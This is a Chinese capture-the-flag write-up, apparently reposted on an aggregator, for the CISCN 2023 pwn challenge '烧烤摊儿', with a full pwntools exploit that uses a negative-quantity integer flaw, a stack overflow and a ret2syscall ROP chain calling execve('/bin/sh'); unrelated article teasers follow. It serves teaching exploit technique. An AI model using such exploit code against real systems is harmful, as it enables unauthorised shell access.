【PWN · ret2syscall】[CISCN 2023 初赛]烧烤摊儿

news/2024/12/22 19:26:40/

好久未做ret2syscall

一、题目分析

漏洞点,栈溢出:

然而到该漏洞点,需要“花钱”买下店铺。个人所有的零钱不够。

利用整数溢出(emmmm这里应该不算溢出漏洞,而是代码逻辑不规范,商品个数不能为负数,但类型确实有符号整数),可增加money

此外,由于程序是静态链接的,所有有大量丰富可利用的Gadget可供我们使用

还有一个细节

name在data段,会复制一份我们输入的字节信息。我们可以在name中写入b’/bin/sh\x00….’,而未开启PIE,地址是固定的,因此rdi的值(’/bin/sh\x00’字符串地址)就有了着落。

二、getshell思路:

1、整数溢出增加money

2、“购买店铺”到漏洞点

3、构造payload:b’/bin/sh\x00’+padding+ret2syscall即可

三、exp

from pwn import *
from pwn import p64,u64context(arch='amd64',log_level='debug')io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28716)
elf=ELF('./pwn')
# gdb.attach(io)
# input()io.recvuntil(b'>')
io.sendline(b'2')
io.recvuntil('3. 鸡肉串\n')
io.sendline(b'2')
io.recvuntil('来几串?\n')
io.sendline(b'-100000')
io.recvuntil(b'>')
io.sendline(b'4')
io.recvuntil('老板,你这摊儿,我买了\n')
io.recvuntil('成交\n')
io.recvuntil(b'>')
io.sendline(b'5')
# 0x000000000040264f : pop rdi ; ret
# 0x000000000040a67e : pop rsi ; ret
# 0x0000000000402aae : pop rsp ; ret
# 0x0000000000401b01 : pop rbp ; ret
# 0x0000000000458827 : pop rax ; ret
# 0x00000000004a404b : pop rdx ; pop rbx ; ret
# 0x0000000000402404 : syscallrdi=0x000000000040264f
rsi=0x000000000040a67e
rdx_rbx=0x0000000004a404b
rax=0x0000000000458827
syscall=0x0000000000402404
bss=0x4e82c0# 0x4e6000           0x4e9000 rw-p
# 0x4e9000           0x510000 rw-p
# 一开始没注意到name这个data段上可写的变量,想read一个'/bin/sh\x00'到bss段,但是似乎失败了(?)
# read(int fd, void *buf, size_t count);
# read(0,0x4ee000,0x100)
# fd=0
# buf=0x4ee000
# count=0x100
# payload+=p64(rdi)+p64(fd)+p64(rsi)+p64(buf)+p64(rdx_rbp)+p64(0x100)+p64(0)payload=b'/bin/sh\x00'+b'a'*0x20
# execve(name,0,0)
name=0x4E60F0
payload+=p64(rdi)+p64(name)+p64(rsi)+p64(0)+p64(rdx_rbx)+p64(0)+p64(0)+p64(rax)+p64(59)+p64(syscall)
io.recvuntil('请赐名:\n')
io.sendline(payload)
io.interactive()

总结

回忆ret2syscall


http://www.ppmy.cn/news/1337834.html

相关文章

Observability:在 Elastic Stack 8.12 中使用 Elastic Agent 性能预设

作者:来自 Elastic Nima Rezainia, Bill Easton 8.12 中 Elastic Agent 性能有了重大改进 最新版本 8.12 标志着 Elastic Agent 和 Beats 调整方面的重大转变。 在此更新中,Elastic 引入了 Performance Presets,旨在简化用户的调整过程并增强…

LeetCode2670. 找出不同元素数目差数组:哈希表(预处理)

【LetMeFly】2670.找出不同元素数目差数组:哈希表(预处理) 力扣题目链接:https://leetcode.cn/problems/find-the-distinct-difference-array/ 给你一个下标从 0 开始的数组 nums ,数组长度为 n 。 nums 的 不同元素…

Spring | Spring的“数据库开发“ (Srping JDBC)

目录: Spring JDBC1.Spring JDBC的核心类 ( JdbcTemplate类 )2.Srping JDBC 的配置3.JdbcTemplate类的“常用方法”execute( ):直接执行“sql语句”,没有返回值update( ) :“增删改”,返回 “影响的行数”query( ) : “…

Android --- Content Provider是使用示例,通俗易懂

当两个应用程序之间需要共享数据时,可以通过 Content Provider 来实现。在这个示例中,我们将创建一个简单的 Content Provider,让 App_B 暴露人口总数的数据,并由 App_A 来获取这个数据。 首先,我们来创建一个简单的示…

SolidWorks曲面功能介绍

在SolidWorks中提供了功能丰富的曲面功能,那为什么我们需要使用曲面功能?曲面功能一般是在处理一些复杂外形的时候来使用,这些形状需要通过曲线的变化来控制,从而得到满意的外形,一般来说这样的外形是很难通过实体建模…

Next.js如何正确处理跨域问题?

以前一直使用Vue来写前端。去年下半年接手了一个基于React Next.js的项目,于是顺带学习了一下Next.js。由于Next.js的特点,这个项目的前后端是放在一起的。一开始没什么问题,看了半天文档就上手了。 上周我们需要在另一个网页项目中&#x…

Qt+css绘制标题

之前学过html和小程序,帮老师做项目的时候也用过vue,在想qt绘制界面是不是也可以使用css,然后查了一些资料,绘制了一个标题,准备用到智能家居的上位机上面。 成果 源码 重写了paintEvent函数和TimeEvent函数,一个用于绘…

Modern C++ idiom1:Copy-and-Swap

​ Copy-and-Swap(拷贝并交换)是一种 C 编程技术,用于以提供强异常安全性保证的方式实现赋值运算符(operator)。这种技术在处理资源管理(如管理动态内存或其他外部资源)时特别有用。该技巧涉及使…